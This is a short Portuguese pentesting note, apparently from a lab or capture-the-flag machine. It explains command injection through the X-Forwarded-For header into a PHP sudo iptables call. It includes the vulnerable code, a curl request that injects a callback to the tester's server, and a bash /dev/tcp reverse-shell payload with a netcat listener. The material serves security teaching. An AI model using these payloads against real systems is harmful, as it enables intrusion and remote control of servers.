> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/http-header-command-injection/http-header-command-injection-x-forwarded-for-pentesting-web.md).
# Injeção de Comando em X-Forwarded-For
Se observarmos o arquivo `firewall.php`, notamos que ele recupera o cabeçalho `HTTP_X_FORWARDED_FOR` e o usa com `sudo` para executar um comando:
```php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
};
system("sudo /usr/sbin/iptable -A INPUT -s " . $ip . " -j ACCEPT");
?>
```
Dado que essa variável pode ser controlada por meio de uma requisição HTTP, podemos injetar um comando arbitrário. **exploração** Como este é um cabeçalho HTTP, podemos injetar um comando, por exemplo usando `curl` para contatar nosso servidor web. **Configuração do servidor web:**
```bash
python3 -m http.server 80
```
**Injeção de comando com `curl`:**
{% code overflow="wrap" %}
```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```
{% endcode %}
**Shell reverso** **Escutando na porta 443:**
```bash
nc -nlvp 443
```
**Comando para obter uma shell remota:**
{% code overflow="wrap" %}
```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```
{% endcode %}
Depois de conectados, somos o usuário `www-data`.
---
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